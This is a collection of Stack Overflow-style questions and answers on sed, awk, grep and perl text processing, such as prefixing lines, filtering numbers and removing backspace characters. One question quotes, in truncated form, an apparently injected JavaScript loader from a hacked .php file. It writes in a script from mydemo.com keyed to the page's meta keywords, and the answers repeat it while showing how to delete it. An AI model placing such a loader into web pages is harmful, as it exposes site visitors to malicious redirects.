I'm a total Linux noob. I just want to append a field in the first column
Ex. 192.168.0.254 mwd.com
wget -O - "http://mirror1.malwaredomains.com/files/justdomains" | ??? > /var/hosts.md
I was thinking to use sed but there's no data to substitute.
you can still use sed, just match on the start of line:
wget -O - "http://mirror1.malwaredomains.com/files/justdomains" | sed 's/^/192.168.0.254 /' >/var/hosts.md
You can substitute with a beginning-of-line or end-of-line marker:
> echo line | sed -e 's/$/ foobar/'
line foobar
> echo line | sed -e 's/^/foobar /'
foobar line
Related
(Need in bash linux)I have a file with numbers like this
1.415949602
91.09582241
91.12042924
91.40270349
91.45625033
91.70150341
91.70174342
91.70660043
91.70966213
91.72597066
91.7287678315
91.7398645966
91.7542977976
91.7678146465
91.77196659
91.77299733
abcdefghij
91.7827827
91.78288651
91.7838959
91.7855
91.79080605
91.80103075
91.8050505
sed 's/^91\.//' file (working)
Any way possible I can do these 3 steps?
1st I try this
cat input | tr -d 91. > 1.txt (didnt work)
cat input | tr -d "91." > 1.txt (didnt work)
cat input | tr -d '91.' > 1.txt (didnt work)
then
grep -x '.\{10\}' (working)
then
grep "^[6-9]" (working)
Final 1 line solution
cat input.txt | sed 's/\91.//g' | grep -x '.\{10\}' | grep "^[6-9]" > output.txt
Your "final" solution:
cat input.txt |
sed 's/\91.//g' |
grep -x '.\{10\}' |
grep "^[6-9]" > output.txt
should avoid the useless cat, and also move the backslash in the sed script to the correct place (and I added a ^ anchor and removed the g flag since you don't expect more than one match on a line anyway);
sed 's/^91\.//' input.txt |
grep -x '.\{10\}' |
grep "^[6-9]" > output.txt
You might also be able to get rid of at least one useless grep but at this point, I would switch to Awk:
awk '{ sub(/^91\./, "") } /^[6-9].{9}$/' input.txt >output.txt
The sub() does what your sed replacement did; the final condition says to print lines which match the regex.
The same can conveniently, but less readably, be written in sed:
sed -n 's/^91\.([6-9][0-9]\{9\}\)$/\1/p' input.txt >output.txt
assuming your sed dialect supports BRE regex with repetitions like [0-9]\{9\}.
I have a data file, say input.dat:
0.00000 -21.9934807
0.00349 -21.9953289
0.00697 -22.0007229
0.01046 -22.0094204
0.01395 -22.0210171
0.01743 -22.0350628
0.02092 -22.0510826
0.02441 -22.0685902
0.02789 -22.0871773
0.03138 -22.1064396
0.03487 -22.1260700
0.03836 -22.1457787
0.04184 -22.1653156
0.04533 -22.1844902
0.04882 -22.2031174
0.05230 -22.2210617
0.05579 -22.2381897
0.05928 -22.2543869
0.06276 -22.2695751
0.06625 -22.2836666
0.06974 -22.2965908
0.07322 -22.3082924
0.07671 -22.3187332
0.08020 -22.3278618
0.08368 -22.3356419
0.08717 -22.3420353
0.09066 -22.3470383
0.09414 -22.3506260
0.09763 -22.3527832
0.10112 -22.3535042
I want to read the file in bash script and write only 10th line, 1st column data (0.03138). similarly, the 20th line, 1st column data should be written. Can one help me exactly what code should I write in the script. Many thanks in advance.
Text manipulation is usually done with awk, not pure bash. Here is how you would do it:
awk 'NR==10 || NR==20 { print $1 }' file
It can also be done with sed.
Take only lines 10 and 20:
sed -n -e 10p -e 20p input.dat
Extract only first column:
sed -n -e 10p -e 20p input.dat | sed -e 's/ .*//'
In case of every line starts by a space (as I faced when copying your input.dat content), you may remove it with sed -e 's/^ //', so:
sed -n -e 10p -e 20p input.dat | sed -e 's/^ //' -e 's/ .*//'
I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
I am trying to grab some content, but there are multiple instances of it in the same line. I am using this command.
grep -o -m 1 -P '(?<=sk).*(?=fa)' test.txt | head -1
However, the search ends after the second/last match. Running it on Ubuntu 14.04.2
test.txt: skjahfasdkl aklsdj laks skjahfasdkl aklsdj laks
Current Output: jahfasdkl aklsdj laks skjah
Desired output: jah
You just need non-greedy:
grep -m1 -oP '(?<=sk).*?(?=fa)' file | head -1
# ...................^^^
The -m1 will stop after the first line, but you still need head to limit to the first match.
It's greedy match, you want to treat space as delimiters so specify the match to nonspace chars, i.e.
... '(?<=sk)[^ ]*(?=fa)'
if the condition is non spaces between sk and fa ( matching in words ), you can use can use [^ ]* instead .*, as the following:
grep -o -m 1 -P '(?<=sk)[^ ]*(?=fa)' test.txt | head -1
else you can use this :
sed -e "s/sk\(.*\)fa.*$/\1/g" test.txt | sed -e "s/fa.*$//g"
test :
echo "skjahz z zfasdkl aklsdj laks skjahppppfasdkl aklsdj laks" | sed -e "s/sk\(.*\)fa.*$/\1/g" | sed -e "s/fa.*$//g"
#jahz z z
If you consider non-grep answer then this gnu-awk can do the job:
awk -v FPAT='sk[^[:blank:]]*fa' '{gsub(/^sk|fa$/, "", $1); print $1; exit}' file
I want to delete a fixed number of some backspace characters ocurrences ( \b ) from stdin. So far I have tried this:
echo -e "1234\b\b\b56" | sed 's/\b{3}//'
But it doesn't work. How can I achieve this using sed or some other unix shell tool?
You can use the hexadecimal value for backspace:
echo -e "1234\b\b\b56" | sed 's/\x08\{3\}//'
You also need to escape the braces.
You can use tr:
echo -e "1234\b\b\b56" | tr -d '\b'
123456
If you want to delete three consecutive backspaces, you can use Perl:
echo -e "1234\b\b\b56" | perl -pe 's/(\010){3}//'
sed interprets \b as a word boundary. I got this to work in perl like so:
echo -e "1234\b\b\b56" | perl -pe '$b="\b";s/$b//g'
With sed:
echo "123\b\b\b5" | sed 's/[\b]\{3\}//g'
You have to escape the { and } in the {3}, and also treat the \b special by using a character class.
[birryree#lilun ~]$ echo "123\b\b\b5" | sed 's/[\b]\{3\}//g'
1235
Note if you want to remove the characters being deleted also, have a look at ansi2html.sh which contains processing like:
printf "12..\b\b34\n" | sed ':s; s#[^\x08]\x08##g; t s'
No need for Perl here!
# version 1
echo -e "1234\b\b\b56" | sed $'s/\b\{3\}//' | od -c
# version 2
bvar="$(printf '%b' '\b')"
echo -e "1234\b\b\b56" | sed 's/'${bvar}'\{3\}//' | od -c